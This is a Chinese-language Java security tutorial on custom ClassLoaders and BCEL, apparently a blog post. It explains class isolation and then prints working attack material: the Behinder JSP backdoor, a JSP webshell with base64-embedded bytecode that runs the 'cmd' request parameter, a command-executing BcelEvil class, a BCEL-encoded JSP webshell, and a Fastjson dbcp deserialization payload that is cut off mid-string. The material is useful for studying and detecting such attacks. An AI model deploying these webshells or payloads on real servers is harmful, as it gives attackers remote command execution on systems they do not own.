    import static com.anbai.sec.classloader.TestClassLoader.TEST_CLASS_BYTES;
    import static com.anbai.sec.classloader.TestClassLoader.TEST_CLASS_NAME;
    
    public class TestCrossClassLoader {
    
       public static class ClassLoaderA extends ClassLoader {
    
          public ClassLoaderA(ClassLoader parent) {
             super(parent);
          }
    
          {
             // 加载类字节码
             defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);
          }
    
       }
    
       public static class ClassLoaderB extends ClassLoader {
    
          public ClassLoaderB(ClassLoader parent) {
             super(parent);
          }
    
          {
             // 加载类字节码
             defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);
          }
    
       }
    
       public static void main(String[] args) throws Exception {
          // 父类加载器
          ClassLoader parentClassLoader = ClassLoader.getSystemClassLoader();
    
          // A类加载器
          ClassLoaderA aClassLoader = new ClassLoaderA(parentClassLoader);
    
          // B类加载器
          ClassLoaderB bClassLoader = new ClassLoaderB(parentClassLoader);
    
          // 使用A/B类加载器加载同一个类
          Class<?> aClass  = Class.forName(TEST_CLASS_NAME, true, aClassLoader);
          Class<?> aaClass = Class.forName(TEST_CLASS_NAME, true, aClassLoader);
          Class<?> bClass  = Class.forName(TEST_CLASS_NAME, true, bClassLoader);
    
          // 比较A类加载和B类加载器加载的类是否相等
          System.out.println("aClass == aaClass:" + (aClass == aaClass));
          System.out.println("aClass == bClass:" + (aClass == bClass));
    
          System.out.println("\n" + aClass.getName() + "方法清单:");
    
          // 获取该类所有方法
          Method[] methods = aClass.getDeclaredMethods();
    
          for (Method method : methods) {
             System.out.println(method);
          }
    
          // 创建类实例
          Object instanceA = aClass.newInstance();
    
          // 获取hello方法
          Method helloMethod = aClass.getMethod("hello");
    
          // 调用hello方法
          String result = (String) helloMethod.invoke(instanceA);
    
          System.out.println("\n反射调用:" + TEST_CLASS_NAME + "类" + helloMethod.getName() + "方法,返回结果:" + result);
       }
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76

    运行结果:

    aClass == aaClass:true
    aClass == bClass:false
    
    com.anbai.sec.classloader.TestHelloWorld方法清单:
    public java.lang.String com.anbai.sec.classloader.TestHelloWorld.hello()
    
    反射调用:com.anbai.sec.classloader.TestHelloWorld类hello方法,返回结果:Hello World~
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    0x09 JSP自定义加载后门

    自定义类的应用场景:

    • 加密:Java代码可以轻易的被反编译,如果你需要把自己的代码进行加密以防止反编译,可以先将编译后的代码用某种加密算法加密,类加密后就不能再用Java的ClassLoader去加载类了,这时就需要自定义ClassLoader在加载类的时候先解密类,然后再加载
    • 从非标准的来源加载代码:如果你的字节码是放在数据库、甚至是在云端,就可以自定义类加载器,从指定的来源加载类。
    • 以上两种情况在实际中的综合运用:比如你的应用需要通过网络来传输 Java 类的字节码,为了安全性,这些字节码经过了加密处理。这个时候你就需要自定义类加载器来从某个网络地址上读取加密后的字节代码,接着进行解密和验证,最后定义出在Java虚拟机中运行的类

    自定义的类加载器继承 java.lang.ClassLoader,然后重写类加载的方法(findClass(String name)或loadClass(String name) )方法来帮助我们实现了类隔离

    • loadClass(String name,boolean resolve ) :该方法为ClassLoader的入口点,根据指定的二进制名称加载类,系统就是调用ClassLoader的方法来获取指定类对应的Class对象。
    • findClass(String name) :根据二进制名称来查找类

    如果需要实现自定义的ClassLoader,可以通过重写以上两个方法来实现,推荐重写findClass()方法,而不是重写loadClass()方法。因为loadClass()方法的执行步骤如下:

    1. 用findLoadedClass(String) 来检查是否已经加载类,如果已经加载则直接返回
    2. 在父类加载器上调用loadClass方法。如果父类加载器为null,则使用根类加载器来加载
    3. 调用findClass(String) 方法查找类

    从上面步骤中可以看出,重写findClass()方法可以避免覆盖默认类加载器的父类委托、缓冲机制两种策略。如果重写loadClass()方法,则实现逻辑更为复杂

    在ClassLoader里还有一个核心方法:Class defineClass (String name, byte[] b,int off,int len ) 。该方法负责将指定类的字节码文件转化为class对象,该字节码文件可以来源于文件网络

    例子:

    • 自定义的类加载器:
    package com.reflect;
    
    import java.io.File;
    import java.io.FileInputStream;
    import java.io.IOException;
    import java.lang.reflect.Method;
    
    public class CompileClassLoader extends ClassLoader {
    	
    	String path="/Users/orangey/Desktop/javaa";
    	
    	//读取一个文件的内容
    	private byte[] getBytes(String fileName) throws IOException{
    		File file=new File(fileName);
    		long len=file.length();
    		byte[] raw=new byte[(int) len];
    		
    		FileInputStream fin=new FileInputStream(file);
    		//一次读取class文件的全部二进制数据
    		int r=fin.read(raw);
    		if(r!=len){
    			throw new IOException("无法读取全部文件:"+r+"!="+len);
    		}
    		fin.close();
    		
    		return raw;
    	}
    	
    	//定义编译指定JAVA文件的方法
    	private boolean compile(String javaFile) throws IOException{
    		System.out.println("CompileClassLoader:正在编译"+javaFile+"...");
    		//调用系统的javac命令
    		Process p=Runtime.getRuntime().exec("javac "+javaFile);
    	    try {
    		    //其他线程都等待这个线程完成
    	            p.waitFor();
    		} catch (Exception e) {
    			System.out.println(e);
    		}
    		//获取javac线程的退出值
    		int ret=p.exitValue();//此 Process 对象表示的子进程的出口值。根据惯例,值 0 表示正常终止。
    		//返回编译是否成功
    		return ret==0;
    	}
    	
    	//重写ClassLoader的findClass方法
    	protected Class<?> findClass(String name) {
    		 Class clazz=null;
    		//将包路径中的点(.)替换成斜线(/)
    		String fileSub=path+name.replace(".", "/");
    		
    		String javaFilename=fileSub+".java";
    		String classFilename=fileSub+".class";
    		
    		File javaFile=new File(javaFilename);
    		File classFile=new File(classFilename);
    		
    		//当指定的Java源文件存在,且class文件不存在;或Java 源文件的修改时间比class文件的修改时间晚时,重新编译
    		if(javaFile.exists()&&(!classFile.exists()||javaFile.lastModified()>classFile.lastModified())){
    			//如果编译失败,或者该class文件不存在
    			try {
    				if (!compile(javaFilename) || !classFile.exists()) {
    					  throw new ClassNotFoundException("ClassNotFoundException:"+javaFilename);
    				}
    			} catch (Exception e) {
    				e.printStackTrace();
    			}
    		}
    		//如果class文件存在,系统负责将该文件转换成Class对象
    		if(classFile.exists()){
    		try {
    			//将class文件的二进制数据读入数组
    			byte[] raw=getBytes(classFilename);	
    			//调用classLoader的defineClass方法将二进制数据转换成Class对象
    		   	clazz=defineClass(name, raw, 0,raw.length);
    			} catch (Exception e) {
    				e.printStackTrace();
    			}		
    		}
    		
    		//如果clazz为null,表明加载失败,则抛出异常
    		if(clazz==null){
    			try {
    				throw new ClassNotFoundException(name);
    			} catch (ClassNotFoundException e) {
    				e.printStackTrace();
    			}
    		}
    		return clazz;
    	}
    	
    	
    	//定义一个主方法
    	public static void main(String[] args) throws Exception {
    		//如果运行该程序时没有参数,即没有目标类
    		if(args.length<1){
    			System.out.println("缺少运行的目标类,请按如下格式运行Java源文件:");
    			System.out.println("类的全路径名   参数,如: com.reflect.Hello  参数1");
    		}
    			//第一个参数是需要运行的类
    			String progClass=args[0];
    			//剩下的参数作为运行目标类时的参数,所以将这些参数复制到一个新数组中
    			String progArgs[]=new String[args.length-1];
    			System.arraycopy(args, 1, progArgs, 0, progArgs.length);
    			CompileClassLoader ccl=new CompileClassLoader();
    			//加载需要运行的类
    			 Class<?> clazz=ccl.loadClass(progClass);
    			//获取需要运行类的主方法
    			Method main=clazz.getMethod("main", (new String[0]).getClass());
    			
    			Object argsArray[]={progArgs};
    			
    			main.invoke(null, argsArray);
    	}
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 提供一个主类Hello.java (包含main方法)
    package com.reflect;
    
    public class Hello {
    
    	public static void main(String[] args) {
    		
    		for(String arg:args){
    			System.out.println("运行的Hello参数为:"+arg);
    		}
    	}
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    以冰蝎为首的JSP后门利用的就是自定义类加载实现的,冰蝎的客户端会将待执行的命令或代码片段通过动态编译成类字节码并加密后传到冰蝎的JSP后门,后门会经过AES解密得到一个随机类名的类字节码,然后调用自定义的类加载器加载,最终通过该类重写的equals方法实现恶意攻击,其中equals方法传入的pageContext对象是为了便于获取到请求和响应对象,需要注意的是冰蝎的命令执行等参数不会从请求中获取,而是直接插入到了类成员变量中。

    <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
    <%!
        class U extends ClassLoader {
    
            U(ClassLoader c) {
                super(c);
            }
    
            public Class g(byte[] b) {
                return super.defineClass(b, 0, b.length);
            }
        }
    %>
    <%
        if (request.getMethod().equals("POST")) {
            String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
            session.putValue("u", k);
            Cipher c = Cipher.getInstance("AES");
            c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
            new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
        }
    %>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22

    把上面自定义加载器代码改一下成jsp webshell

    <%@ page import="java.security.PermissionCollection" %>
    <%@ page import="java.security.Permissions" %>
    <%@ page import="java.security.AllPermission" %>
    <%@ page import="java.security.ProtectionDomain" %>
    <%@ page import="java.security.CodeSource" %>
    <%@ page import="java.security.cert.Certificate" %>
    <%@ page import="java.util.Base64" %>
    <html>
    <body>
    <h2>自定义类加载器的JSP Webshell</h2>
    <%
        response.getOutputStream().write(new ClassLoader() {
    
            @Override
            public Class<?> loadClass(String name) throws ClassNotFoundException {
                if (name.contains("ByteCodeEvil")) {
                    return findClass(name);
                }
                return super.loadClass(name);
            }
    
            @Override
            protected Class<?> findClass(String name) throws ClassNotFoundException {
                try {
                    byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAiAoAGgA+BwA/CgACAD4HAEAHAEEKAEIAQwoAQgBECgBFAEYKAAUARwoABABICgAEAEkKAAIASggASwoAAgBMCQAQAE0HAE4KAE8AUAgAUQoAUgBTCgBUAFUKAFQAVgoAVwBYCgBZAFoJAFsAXAoAXQBeBwBfAQADcmVzAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MQnl0ZUNvZGVFdmlsOwEAA2NtZAEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAOYnVmZmVyZWRSZWFkZXIBABhMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsBAARsaW5lAQANU3RhY2tNYXBUYWJsZQcATgcAYAcAPwcAQAEACkV4Y2VwdGlvbnMHAGEBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAC2lucHV0U3RyZWFtAQAVTGphdmEvaW8vSW5wdXRTdHJlYW07AQAFYnl0ZXMBAAJbQgEABGNvZGUBAApTb3VyY2VGaWxlAQARQnl0ZUNvZGVFdmlsLmphdmEMAB0AYgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIHAGMMAGQAZQwAZgBnBwBoDABpAGoMAB0AawwAHQBsDABtADIMAG4AbwEAAQoMADEAMgwAGwAcAQAMQnl0ZUNvZGVFdmlsBwBwDABxAHIBABJCeXRlQ29kZUV2aWwuY2xhc3MHAHMMAHQAdQcAdgwAdwB4DAB5AHoHAHsMAHwAfwcAgAwAgQCCBwCDDACEAIUHAIYMAIcAHgEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAAygpVgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAA9qYXZhL2xhbmcvQ2xhc3MBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBABNnZXRSZXNvdXJjZUFzU3RyZWFtAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9pby9JbnB1dFN0cmVhbTsBABNqYXZhL2lvL0lucHV0U3RyZWFtAQAJYXZhaWxhYmxlAQADKClJAQAEcmVhZAEABShbQilJAQAQamF2YS91dGlsL0Jhc2U2NAEACmdldEVuY29kZXIBAAdFbmNvZGVyAQAMSW5uZXJDbGFzc2VzAQAcKClMamF2YS91dGlsL0Jhc2U2NCRFbmNvZGVyOwEAGGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcgEADmVuY29kZVRvU3RyaW5nAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgAhABAAGgAAAAEAAAAbABwAAAADAAEAHQAeAAIAHwAAANIABgAFAAAARyq3AAG7AAJZtwADTbsABFm7AAVZuAAGK7YAB7YACLcACbcACk4ttgALWToExgASLBkEtgAMEg22AAxXp//qKiy2AA61AA+xAAAAAwAgAAAAHgAHAAAACwAEAAwADAANACUADwAvABAAPgASAEYAEwAhAAAANAAFAAAARwAiACMAAAAAAEcAJAAcAAEADAA7ACUAJgACACUAIgAnACgAAwAsABsAKQAcAAQAKgAAABsAAv8AJQAEBwArBwAsBwAtBwAuAAD8ABgHACwALwAAAAQAAQAwAAEAMQAyAAEAHwAAAC8AAQABAAAABSq0AA+wAAAAAgAgAAAABgABAAAAFwAhAAAADAABAAAABQAiACMAAAAJADMANAACAB8AAACEAAIABAAAACgSELYAERIStgATTCu2ABS8CE0rLLYAFVe4ABYstgAXTrIAGC22ABmxAAAAAgAgAAAAGgAGAAAAGwALABwAEgAdABgAHgAgAB8AJwAgACEAAAAqAAQAAAAoADUANgAAAAsAHQA3ADgAAQASABYAOQA6AAIAIAAIADsAHAADAC8AAAAEAAEAMAACADwAAAACAD0AfgAAAAoAAQBZAFcAfQAJ");
                    PermissionCollection pc = new Permissions();
                    pc.add(new AllPermission());
                    ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
                    return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
                } catch (Exception e) {
                    e.printStackTrace();
                }
                return super.findClass(name);
            }
        }.loadClass("ByteCodeEvil").getConstructor(String.class).newInstance(request.getParameter("cmd")).toString().getBytes());
    %>
    </body>
    </html>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • Bytecode Viewer 工具反编译

    https://github.com/Konloch/bytecode-viewer/releases

    0x10 BCEL ClassLoader

    10.1 BCEL是什么?

    BCEL原本是Apache Jakarta的一个子项目,后来成为了Apache Commons的一个子项目。Apache Commons Collections想必大家都知道,就是常说的CC链,也是Apache Commons的一个子项目

    BCEL(Apache Commons BCEL)是一个用于分析、创建和操纵Java类文件的工具库,Oracle JDK引用了BCEL库,不过修改了原包名org.apache.bcel.util.ClassLoader为com.sun.org.apache.bcel.internal.util.ClassLoader,BCEL的类加载器在解析类名时会对ClassName中有$$BCEL$$ 标识的类做特殊处理,该特性经常被用于编写各类攻击Payload

    BCEL主要用于分析、创建、操纵Java class文件,包含在原生原生JDK中(com.sun.org.apache.bcel),之所以包含在原生JDK主要原因可能是为了支撑Java XML的一些功能,Java XML功能包含了JAXP(Java API for XML Processing)规范,Java中自带的JAXP实现使用了Apache Xerces和Apache Xalan,Apache Xalan又依赖了BCEL,所以BCEL也被放入了标准库中。

    Apache Xalan实现了其中XSLT相关的部分,其中包括xsltc compiler。

    XSLTC Compiler就是一个命令行编译器,可以将一个xsl文件编译成一个class文件或jar文件,编译后的class被称为translet,可以在后续用于对XML文件的转换。其实就将XSLT的功能转化成了Java代码,优化执行的速度,如果我们不使用这个命令行编译器进行编译,Java内部也会在运行过程中存在编译的过程。

    因为需要编译文件,实际上是动态生成Java字节码,BCEL正是一个Java处理字节码的库,所以Apache Xalan又依赖了BCEL

    注意:使用Java8(不要使用8u251以后版本),会出现异常,可能无法看到弹窗,建议使用Java7或者6

    BCEL Classloader在 JDK < 8u251以前是在rt.jar里面,java8u251后 com.sun.org.apache.bcel.internal.util.ClassLoader这个类不在了
    
    • 1

    10.2 BCEL攻击原理

    当BCEL的com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass 加载一个类名中带有$$BCEL$$ 的类时会截取出$$BCEL$$ 后面的字符串,然后使用com.sun.org.apache.bcel.internal.classfile.Utility#decode 将字符串解析成类字节码(带有攻击代码的恶意类),最后会调用defineClass注册解码后的类,一旦该类被加载就会触发类中的恶意代码,正是因为BCEL有了这个特性,才得以被广泛的应用于各类攻击Payload中。

    10.3 BCEL兼容性问题

    BCEL这个特性仅适用于BCEL 6.0以下,因为从6.0开始org.apache.bcel.classfile.ConstantUtf8#setBytes 就已经过时了,如下:

    /**
    * @param bytes the raw bytes of this Utf-8
    * @deprecated (since 6.0)
    */
    @java.lang.Deprecated
    public final void setBytes( final String bytes ) {
      throw new UnsupportedOperationException();
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • BCEL ClassLoader去哪了的文章

    https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html

    Oracle自带的BCEL是修改了原始的包名,因此也有兼容性问题,已知支持该特性的JDK版本为:JDK1.5 - 1.7、JDK8 - JDK8u251、JDK9

    10.4 BCEL编解码

    • BCEL编码:
    private static final byte[] CLASS_BYTES = new byte[]{类字节码byte数组}];
    
    // BCEL编码类字节码
    String className = "$$BCEL$$" + com.sun.org.apache.bcel.internal.classfile.Utility.encode(CLASS_BYTES, true);
    
    • 1
    • 2
    • 3
    • 4

    编码后的类名:$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85S$dbn$d...... ,BCEL会对类字节码进行编码

    • BCEL解码:
    int    index    = className.indexOf("$$BCEL$$");
    String realName = className.substring(index + 8);
    
    // BCEL解码类字节码
    byte[] bytes = com.sun.org.apache.bcel.internal.classfile.Utility.decode(realName, true);
    
    • 1
    • 2
    • 3
    • 4
    • 5

    如果被加载的类名中包含了$$BCEL$$ 关键字,BCEL就会使用特殊的方式进行解码并加载解码之后的类

    10.5 BCEL编码

    import com.sun.org.apache.bcel.internal.classfile.Utility;
    import java.io.BufferedReader;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    
    public class BcelEvil {
    
        String res;
    
        public BcelEvil(String cmd) throws IOException {
            StringBuilder stringBuilder = new StringBuilder();
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
            String line;
            while((line = bufferedReader.readLine()) != null) {
                stringBuilder.append(line).append("\n");
            }
            res = stringBuilder.toString();
        }
    
        @Override
        public String toString() {
            return res;
        }
    
        public static void main(String[] args) throws IOException {
            InputStream inputStream = BcelEvil.class.getClassLoader().getResourceAsStream("BcelEvil.class");
            byte[] bytes = new byte[inputStream.available()];
            inputStream.read(bytes);
            String code = Utility.encode(bytes, true);
            System.out.println("$$BCEL$$" + code);
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    10.6 jsp格式webshell

    <%@ page import="com.sun.org.apache.bcel.internal.util.ClassLoader" %>
    
    
    

    BCEL字节码的JSP Webshell

    <% String bcelCode = "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85U$5bW$hU$U$fe$86$ML$Y$86B$93R$$Z$bcQ$hn$j$ad$b7Z$w$da$mT4$5c$84$W$a4x$9bL$Oa$e8d$sN$s$I$de$aa$fe$86$fe$87$beZ$97$86$$q$f9$e8$83$8f$fe$M$7f$83$cb$fa$9dI$I$89$84$e5$ca$ca$3es$f6$de$b3$f7$b7$bf$bd$cf$99$3f$fe$f9$e57$A$_$e3$7b$jC$98$d6$f0$a6$8e6$b9$be$a5$e1$86$8e4f$a4x$5b$c7$y$e6t$b4$e3$a6$O$V$efH1$_$j$df$8d$e3$3d$b9f$3a$d1$8b$F$N$8b$3a$96$b0$i$c7$fb$3aV$b0$aa$e3$WnK$b1$a6c$j$ltb$Dw$e2$d8$d4$f1$n$3e$d2$f0$b1$82X$mJ$K$S$99$jk$d72$5d$cb$cb$9b$aba$e0x$f9$v$F$j$d7$j$cf$J$a7$V$f4$a5N$9aG$d7$U$a83$7eN$u$e8$c98$9eX$y$X$b2$o$b8ee$5d$n$c3$f9$b6$e5$aeY$81$p$f75$a5$gn$3bL$a5g$d2$b6pgw$j$97$vbv$n$a7$a0$bb$U$c5L$97$j7$t$C$F$83$t$d2$d5L$7c$e3L$b6$bc$b5$r$C$91$5b$RV$e4$3cPuv$7c3$ddd$a1$af$ea$S$Y$c3$af$86$96$7dw$c1$wF$40$c8$90$86O$c82$J$s$9a$d9$3d$5b$UC$c7$f7J$g$3eU$Q$P$fdjF$F$e7R$a3$adXQ$L$96$e3$v8$9f$da$3c$85$U$x$c8$b3$ccd$L$b3$82$$$c7$x$96Cn$85U$m$afu$e8$f3$c7jz$b5g$f7C$d9$95$b6$cd4$e3$d9$R$c9$fa$aa_$Ol1$e7H$w$bb$8f$u$bc$y$D$Y$b8$AKA$ff$v$a4$Rkk$86Ht$8b$fcU$9b$86$ac$B$h9$D$C$5b$g$f2$G$b6$e1$c8D$3bR$dc5$e0$e2$8a$81$C$c8$84$a2$hxQ$ee$9e$c0$93$q$f0$I$9a$G$df$40$R$9f$b1eu$b4$b6k$95$c8s$60$a0$84PC$d9$c0$$$3e7$b0$87$7d$N_$Y$f8$S_i$f8$da$c07$b8$c7$40$p$p$e9$99$d9$cc$c8$88$86o$N$7c$87a$F$bd$c7$V$$ew$84$j6$a9$8e$fa$96$ac$X$b5To$$$t$z$r$9bs$f6$d8$7d$a5$ec$85NA2$9b$Xa$7d$d3$d7$d4$f4$9aZv$5d$ec$J$5b$c1$a5V$t$a1A$b5$i$f8$b6$u$95$a6$9a2$d5$94$q$82$99$e6$h$H$a0$ff$u$db$89$R$YH$b54$c8$g$92$c7$a6$da$a4Km$9c$f6$5c$s$9a$f7$O$abX$U$k$cf$d5$e4$ff$a0$fd$ef$d9$ea96$cd$c8NU$RG$8f$Z$bf61M$fc4$98$f8z_K$D$BK$82E$v$9a$df$h$a5$a3$daGO$Hw$82$8dd$L$b5$82N$w$j$b7z$b9$b0$bd$f3$ec$92$q$81$e7$t$b5$99$96$db$x$b6_0Ke$cf$f4$83$bci$V$z$7b$5b$98Y$ce$a2$e9x$a1$I$3c$cb5$a3$81$dc$e2$992o$87$8e$eb$84$fbdOx$d5$T$d7$cf$uwZ$5e$B$8dC$b7_$K$F$b1$c4$fcr$d8x$a0$97$e9$da$C$7f$83Z$81V$94$3b$d7$c33$bc$b9$87$f8$JP$f8$e7$n$a2$8c$f1$f9$C$86y$ad$3f$c5$dd$9f$e8$e0$bd$P$dc$i$3b$80r$88$b6$8d$D$c4$W$O$a1n$i$a2$7d$e3$R$3a$c6$x$d0$w$88$l$a0$f3$A$fa$e2d$F$5d$h$d7$d4$df$91$98$YT$x0$S$dd$U$eb$P$k$ff56Q$c1$99$9f$d1$f30J$f04$e504$ca$$$7eJ$M$fe$baq$R$3d0$Jf$g$J$cc$nI$60$f2$bb$U$a5$c6$b3x$O$88$9eF$IQ$a1$ff$U$fd$9f$t$c4$8b$b4$5dB$8a1$t$I$7f$94V$VcQ$vm$8fiT5$8ck$98$d00$a9$e12$f07$G$b8c$g$d0M$c1$L$fc$f3$f6$a0$94$95$9a$5c$r$L$edc$3f$a1$e7$H$3e$b4E8$3b$oe$7f$84$c7$a8$3a$d4$f0t$e2$r$o$ac$d2t$9f$IT$aeW$T$bd$V$9cM$q$wHfH$cd$b9_$e3$L$e3$y$bdo$7dB$7d$84$f3$8b$3f$a2$bf$c6ab$80$cc$90$$$83$bcT0$f8$b0$9eo$88$Z$r$fe$$$d6$92$60$p$G$c8$d40s$bcF$ab$c40V$cd$83W$f0j$c4$df$q$zW$89$xA$3e$5e$c75F$Zf$8c$v$be$jk$w$f4z$94$e1$8d$7f$BP$cbmH$f2$H$A$A"; response.getOutputStream().write(String.valueOf(new ClassLoader().loadClass(bcelCode).getConstructor(String.class).newInstance(request.getParameter("cmd")).toString()).getBytes()); %>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    10.7 弹出计算机

    https://blog.csdn.net/xd_2021/article/details/121878806

    10.8 BCEL FastJson攻击链分析

    Fastjson(1.1.15 - 1.2.4)可以使用其中有个dbcp的Payload就是利用了BCEL攻击链,利用代码如下:

    {"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85R$5bO$TA$U$fe$a6$z$dde$bbXX$$$e2$F$z$8aPJ$e9r$x$X$r$3e$d8$60$a2$U1$b6$b1$89o$d3$e9$a4$ynw$9b$dd$a9$c2$l1$f1$X$f0$cc$L$S$l$fc$B$fe$p$l4$9e$5d$h$U$rqvsf$ce7$e7$7c$e7$9b$99$f3$f5$c7$e7$_$AV$b0i$m$8b$9b$3an$e9$b8m$60$Kwt$dc5$90$c3$b4$8e$7b$3a$ee$eb$981$f0$A$b3$91$99$d3$907$60b$5eCA$c3$CCz$db$f1$i$f5$98$n$99$9f$7f$cd$90$aa$f8$z$c9$90$ad$3a$9e$7c$d1$eb4eP$e7M$97$Q$7d$5b$b8$fd$c8$a1$9a$e2$e2$ed$k$ef$c6$5b$g$8a$c4$c9$60$d4$fc$5e$m$e4S$t$8a$b6$ea2TO$w$3b$d5$8a$cb$c3$b0t$c8$dfq$T$c3$Ya$98$f0$bb$d2$cb$z$f2$5c$85$bb$a2$e7r$e5$H$r$de$ed2h$7eX$f2x$87$f8$WM$94$60$T$d2p$bc$96$ff$3e$a4$K$s$96$b0L$c9$82$92r$cb$x$abk$e5$f5$8d$cd$ad$a5$fe$8aa$80$f4$f6$8e$Y$c6D$_ps$aeOq$H$7e$a8$kn$d1$b05$ac$98X$c5$9a$892$d6$ZF$p5$b6$e3$db$cf$f6w$8e$84$ec$w$c7$f7LlD$e2$e6$84$df$b1$b9$d7$e4$8e$jJa$8bH$bc$eb$f3$96$M$ecK$Hb$Y$8eI$5c$ee$b5$ed$fd$e6$a